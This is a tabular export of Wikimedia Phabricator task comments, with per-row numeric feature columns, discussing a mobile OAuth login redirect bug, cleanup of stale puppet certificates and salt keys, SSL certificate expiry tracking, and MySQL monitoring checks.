+528942,Failure to OAuth after login on mobile,"No, if I click the ""log in here""in the second step, affter having done all 4 steps once already in this session, I'm taken to the desktop ""Allow-dialog"" directly. So it's the redirecting from the login screen to the dialogwhich is broken somehow. However, if I start a new session (restart the browser, or enter private mode, or logsout from wiki, I can reproducae all the steps once again.",,,1442439876,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+528938,Failure to OAuth after login on mobile,Do you get the same result if you repeat the steps? Also if you repeat them in private browsing mode?,,,1442439629,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,0,0,0
+528944,Failure to OAuth after login on mobile,"How I did:
+# Go to https://tools.wmflabs.org/wikidata-game/
+# click the link ""log in here""
+# Log in. (You should see the desktop view of the log in screen; i.e. do not change to m.mediawiki manually)
+# You are now redirected to the mobile site (screenshot above)
+
+----
+
+To get it to work, I afterwards repeat step 1 and 2 and will be taken to the proper Alow-dialog (on desktop site) without having to log in again.",,,1442439942,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+528931,Failure to OAuth after login on mobile,"How I did:
+# Go to https://tools.wmflabs.org/wikidata-game/
+# click the link ""log in here""
+# Log in. (You should see the desktop view of the log in screen; i.e. do not change to m.mediawiki manually)
+# You are now redirected to the mobile site (screenshot above)",,,1442439417,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,0,0,0,1
+528930,Failure to OAuth after login on mobile,"How I did:
+# Go to https://tools.wmflabs.org/wikidata-game/
+# click the link ""log in here""
+# Log in. (You should see the desktop view of the log in screen)
+# You are now redirected to the mobile site (screenshot above)",,,1442439378,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,0,1,1,0,0,1,0,1,1,1,0,0,0,0,0,0
+528929,Failure to OAuth after login on mobile,"How I did:
+# Go to https://tools.wmflabs.org/wikidata-game/
+# click the link in ""log in here""
+# Log in. (You should see the desktop view of the log in screen)
+# You are now redirected to the mobile site (screenshot above)",,,1442439371,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,0,1,1,0,0,1,0,1,1,1,0,0,0,0,0,0
+528928,Failure to OAuth after login on mobile,"How I did:
+# Go to https://tools.wmflabs.org/wikidata-game/
+# click in the link in ""log in here""
+# Log in. (You should see the desktop view of the log in screen)
+# You are now redirected to the mobile site (screenshot above)",,,1442439352,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,0,1,1,0,0,1,0,1,1,1,0,0,0,0,0,0
+528927,Failure to OAuth after login on mobile,"How I did:
+# Go to https://tools.wmflabs.org/wikidata-game/
+# click in the link in ""log in here""
+# Log in. (You should see the desktop view of the og in screen)
+# You are now redirected to the mobile site (screenshot above)",,,1442439337,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,0,1,1,0,0,1,0,1,1,1,0,0,0,0,0,0
+528926,Failure to OAuth after login on mobile,"Can't reproduce (either on desktop or on an Android phone):
+* go to https://tools.wmflabs.org/wikidata-game/ in private browsing mode
+* click in the link in ""//log in here//""
+* edit the url from www.mediawiki.org to m.mediawiki.org
+* log in
+* authorization dialog shows up as expected.",,,1442439096,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,0
+528921,Failure to OAuth after login on mobile,"The error message is `centralauth-error-nologinattempt` (""//No active login attempt is in progress for your session.//""). ",,,1442438462,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0
+528885,Failure to OAuth after login on mobile,">>! In T112730#1646845, @Krenair wrote:
+> @Josve05a: What security are you trying to set on this task? You won't be able to move it out of the NDA restrictions simply by removing the project, but I can change the policies for you if you want.
+
+I tried first to remove the security, by setting it to 'none' (and at the same time I removed the nda-project). That didn't work, and sine I have no way to change the policy after I created the task, it it stuck as this policy. Just set it as public.",,,1442436524,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,0,0,1,0,0,1
+528880,Failure to OAuth after login on mobile,">>! In T112730#1646845, @Krenair wrote:
+> @Josve05a: What security are you trying to set on this task? You won't be able to move it out of the NDA restrictions simply by removing the project, but I can change the policies for you if you want.
+
+I tried first to remove the security, by setting it to 'none' (and at the same time I removed the nda-project). That didn't work, and sine I have no way to change the policy after I created the task, it it stuck as this policy. Just set it as open.",,,1442436430,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,0,0,1,0,0,1
+528879,Failure to OAuth after login on mobile,">>! In T112730#1646845, @Krenair wrote:
+> @Josve05a: What security are you trying to set on this task? You won't be able to move it out of the NDA restrictions simply by removing the project, but I can change the policies for you if you want.
+
+Itried first to remove the security, by etting it to 'none' (and at the same time I removed the nda-project). That didn't work, and sine I have no way to change the policy after I created the task, it it stuck as this policy. Just set it as open.",,,1442436407,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,1,0,1,1,1,0,0,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,0,0,1,0,0,1
+528862,Failure to OAuth after login on mobile,"@Josve05a: What security are you trying to set on this task? You won't be able to move it out of the NDA restrictions simply by removing the project, but I can change the policies for you if you want.",,,1442435531,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-nfqc6az2tmukucqqnqjz,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,0,0,0
+112524,check that puppet certs/salt keys are deleted when they should be,"Moving comments from now closed T99213 as this is really another ticket.
+
+So the reason that keys don't get deleted from salt via this script when the instance is deleted is that (some of) them stay around in ldap. Is that intentional? Example: https://wikitech.wikimedia.org/wiki/Nova_Resource:Kilotest115.testlabs.eqiad.wmflabs
+
+Additionally, old-style keys without the project name don't get removed by the script because that hostname is in the ""associated domain"" field and hence gets found during an ldap lookup. Do we want that?",Medium,50.0,1442235267,1505473585.0,PHID-USER-jtxavgb3caz53o45csni,False,PHID-USER-abszjqutasfjxgagymds,False,PHID-TASK-apxswrbl52g7aact3ao6,task_description,declined,True,c3,3,True,False,False,10,True,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,0,1,1,1,0,0,1,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0
+931058,check that puppet certs/salt keys are deleted when they should be,Salt is being removed.,,,1505473585,,PHID-USER-abszjqutasfjxgagymds,False,,,PHID-TASK-apxswrbl52g7aact3ao6,task_subcomment,,True,c3,3,True,,,115,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+526678,check that puppet certs/salt keys are deleted when they should be,"Regarding the latter question, I assume that there are scripts out there that rely on `$hostname.eqiad.wmflabs` resolving, so, //if//, I would be more comfortable with not generating the alias for newly launched instances and see what breaks, and then after some time remove them from LDAP.
+
+But AFAICS you already query LDAP directly (`modules/puppetmaster/templates/certcleaner.py.erb`):
+
+```
+        # Erase keys that don't correspond to ldap.
+        query = ""(&(objectclass=puppetclient)(|(dc="" + hostname + "")(cnamerecord="" + hostname + "")(associateddomain="" + hostname + "")))""
+        host_info = ds.search_s(basedn, ldap.SCOPE_SUBTREE, query)
+        if not host_info:
+            sys.stderr.write('Removing stale cert %s' % hostname)
+            try:
+                subprocess.check_call(['/usr/bin/puppet', 'cert', 'clean', hostname])
+            except subprocess.CalledProcessError:
+                if not signed:
+                    requestpath = '/var/lib/puppet/server/ssl/ca/requests/%s.pem' % hostname
+                    sys.stderr.write('Failed to remove stale cert %s -- directly removing %s\n' % (hostname, requestpath))
+                    try:
+                        subprocess.check_call(['rm', '-f', requestpath])
+                    except subprocess.CalledProcessError:
+                        sys.stderr.write('Failed to rm %s, out of ideas\n' % requestpath)
+```
+
+Couldn't you then not just match on the `dn` only?
+
+```
+dn: dc=tools-bastion-01.tools.eqiad.wmflabs,ou=hosts,dc=wikimedia,dc=org
+        aRecord: 10.68.17.228
+        objectClass: domainrelatedobject
+        objectClass: dnsdomain
+        objectClass: puppetclient
+        objectClass: domain
+        objectClass: dcobject
+        objectClass: top
+        puppetClass: role::labs::instance
+        puppetClass: role::labs::tools::bastion
+        associatedDomain: i-000009aa.eqiad.wmflabs
+        associatedDomain: tools-bastion-01.eqiad.wmflabs
+        associatedDomain: i-000009aa.tools.eqiad.wmflabs
+        associatedDomain: tools-bastion-01.tools.eqiad.wmflabs
+        l: eqiad
+        dc: tools-bastion-01.tools.eqiad.wmflabs
+        puppetVar: realm=labs
+        puppetVar: instancename=tools-bastion-01
+        puppetVar: instanceproject=tools
+```
+
+(BTW, I don't see any `cnamerecord` in `ldaplist -l hosts`.)",,,1442242841,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-apxswrbl52g7aact3ao6,task_subcomment,,True,c3,3,True,,,10,True,1,0,0,0,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,0,1,1,0,1,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,0,1
+112521,Track/notify cert expiries better,"1. Our current GlobalSign certs are generally configured with a single individual's email address to notify us on expiry.
+2. Even if that's fixed, we shouldn't be relying on them to notify us.  We should have our own tracking.
+
+We have check_sslxNN in icinga which is checking at least the critical unified cert, which (in addition to other things) tracks cert expiry, but we haven't actually extended that kind of checking to every cert we're using (notably, we missed the impending loss of wmfusercontent.org).  We have several smaller certs like that, some of which are even hosted in 3rd party services as well.  Should we monitor the 3rd parties in these cases as well?
+
+It might make more sense if we had some generic system in place for tracking long-term expiration events in general, so that we could enter every cert we purchase into that system when it's purchased.  Such a system could be useful for other purposes as well (warranties, contracts, etc?).  Is there an existing thing like this available already?",Medium,50.0,1442234127,1508773818.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-ao3bxbvapnkhonosudfs,task_description,resolved,True,c3,3,True,True,False,10,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,1,0,1,0,0,1,1,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1
+952099,Track/notify cert expiries better,"There are (seperate) Icinga checks for the *.planet.wikimedia.org and the *.wmfusercontent.org cert that recently alerted on upcoming expiry of the main unified cert. They have been added before these certs were added to the unified cert i believe. Maybe that means they should be removed as redundant. (but they also serve as https check in general, it just additionally checks the cert, so maybe not :)",,,1508778072,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ao3bxbvapnkhonosudfs,task_subcomment,,True,c3,3,True,,,120,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+952022,Track/notify cert expiries better,All certificates are now tracked in icinga so I think this can indeed be resolved.  (We've also transitioned over to LE for the bulk of non-wildcards!),,,1508772032,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-ao3bxbvapnkhonosudfs,task_subcomment,,True,c3,3,True,,,120,True,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+952021,Track/notify cert expiries better,It seems like we've made a lot of progress on this front since late 2015.  Should we consider this resolved now? @Robh?,,,1508771934,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ao3bxbvapnkhonosudfs,task_subcomment,,True,c3,3,True,,,120,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,0,0,1,0,0,0,0,0
+546331,Track/notify cert expiries better,"We've recently changed the policy on ordering ssl certificates to put in the ssl_renewals alias for all ssl cert info.
+
+Additionally, we should see if we can change the backend contact info for all existing globalsign certs without reissuing (since its renewal info, not cert info, it shouldnt need reissue.)",,,1444837845,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-ao3bxbvapnkhonosudfs,task_subcomment,,True,c3,3,True,,,14,True,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+112473,Better mysql monitoring for number of connections and processlist strange patterns,Mostly https://www.percona.com/doc/percona-monitoring-plugins/1.1/nagios/pmp-check-mysql-processlist.html#pmp-check-mysql-processlist,Medium,50.0,1442163974,1589893719.0,PHID-USER-gzd4fguky5ixnvz46fvu,False,PHID-USER-2qjlvo4lpgqvny5yo3ic,False,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_description,declined,True,c3,3,True,False,False,10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+1506885,Better mysql monitoring for number of connections and processlist strange patterns,Closing this in favour of T253120 which has more concrete points of action,,,1589893719,,PHID-USER-2qjlvo4lpgqvny5yo3ic,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,True,,,254,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0
+665713,Better mysql monitoring for number of connections and processlist strange patterns,"Change 289825 merged by Jcrespo:
+Increase retries to 10 to avoid small bumps to alert
+
+[[https://gerrit.wikimedia.org/r/289825]]",,,1463731998,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,False,,,46,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+665712,Better mysql monitoring for number of connections and processlist strange patterns,"Change 289825 had a related patch set uploaded (by Jcrespo):
+Increase retries to 10 to avoid small bumps to alert
+
+[[https://gerrit.wikimedia.org/r/289825]]
+",,,1463731961,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,False,,,46,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+665709,Better mysql monitoring for number of connections and processlist strange patterns,"Change 289822 merged by Jcrespo:
+Revert ""mariadb: set replication check's contact_group to admins""
+
+[[https://gerrit.wikimedia.org/r/289822]]",,,1463731361,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,False,,,46,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+665707,Better mysql monitoring for number of connections and processlist strange patterns,"Change 289822 had a related patch set uploaded (by Jcrespo):
+Revert ""mariadb: set replication check's contact_group to admins""
+
+[[https://gerrit.wikimedia.org/r/289822]]
+",,,1463731334,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,False,,,46,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+650933,Better mysql monitoring for number of connections and processlist strange patterns,"Before all 5.5 old servers are decomissioned, this is the list of old checks:
+
+
+```
+DPKG [common]
+Disk space [common]
+Full LVS Snapshot [unneeded? we use now xtrabackup]
+MySQL Idle Transactions [interesting]
+MySQL InnoDB [interesting]
+MySQL Processlist [interesting]
+MySQL Recent Restart [interesting]
+MySQL Replication Heartbeat [done]
+MySQL Slave Delay [done]
+MySQL Slave Running [done]
+Slave_SQL_Running: [done]
+MySQL disk space [done, needed if space can now be parametrized?]
+NTP [common]
+RAID [common]
+SSH [common]
+configured eth [common]
+dhclient process [common]
+mysqld processes [done]
+puppet last run [common]
+salt-minion processes [common]
+```
+
+Most of the pending ones seem the typical ones from Percona Monitoring toolkit, although we need a balance between annoying and complete. The ones on the title are the minimal ones.",,,1461579082,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,True,,,42,True,1,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,1,1
+612086,Better mysql monitoring for number of connections and processlist strange patterns,"Change 253665 merged by Jcrespo:
+Use heartbeat when possible to check slave lag
+
+[[https://gerrit.wikimedia.org/r/253665]]",,,1455723144,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,False,,,32,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1
+564397,Better mysql monitoring for number of connections and processlist strange patterns,"Change 253665 had a related patch set uploaded (by Jcrespo):
+[WIP] Use heartbeat when possible to check slave lag
+
+[[https://gerrit.wikimedia.org/r/253665]]
+",,,1447790495,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,False,,,19,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1
+564301,Better mysql monitoring for number of connections and processlist strange patterns,"@csteipp Are you suggesting the appservers depending on nagios? I would strongly advice against that. 
+
+If you mean ""copying"" what nagios will be doing, keep an eye for the check_mariadb.pl future changes I am now writing. The logic is easy, but I have to figure out a way to distribute who is each slave's original master (if auto-discover or set it as a puppet property manually).
+
+Aaron already implemented it on mediawiki, at least the heartbeat one: https://gerrit.wikimedia.org/r/#/c/241133/",,,1447782206,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,True,,,19,True,1,0,1,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,1,0
+564300,Better mysql monitoring for number of connections and processlist strange patterns,"@csteipp Are you suggesting the appservers depending on nagios. I would strongly suggest against that. 
+
+If you mean ""copying"" what nagios will be doing, keep an eye for the check_mariadb.pl future changes I am now writing. The logic is easy, but I have to figure out a way to distribute who is each slave's original master (if auto-discover or set it as a puppet property manually).
+
+Aaron already implemented it on mediawiki, at least the heartbeat one: https://gerrit.wikimedia.org/r/#/c/241133/",,,1447782183,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,True,,,19,True,1,0,1,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,1,0
+564278,Better mysql monitoring for number of connections and processlist strange patterns,"@jcrespo, interesting. If you're able to get those numbers into nagois, I can probably figure out a way to get it onto the appservers.",,,1447779603,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-ctatqmjlo6nlvydmzdqt,task_subcomment,,True,c3,3,True,,,19,True,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0
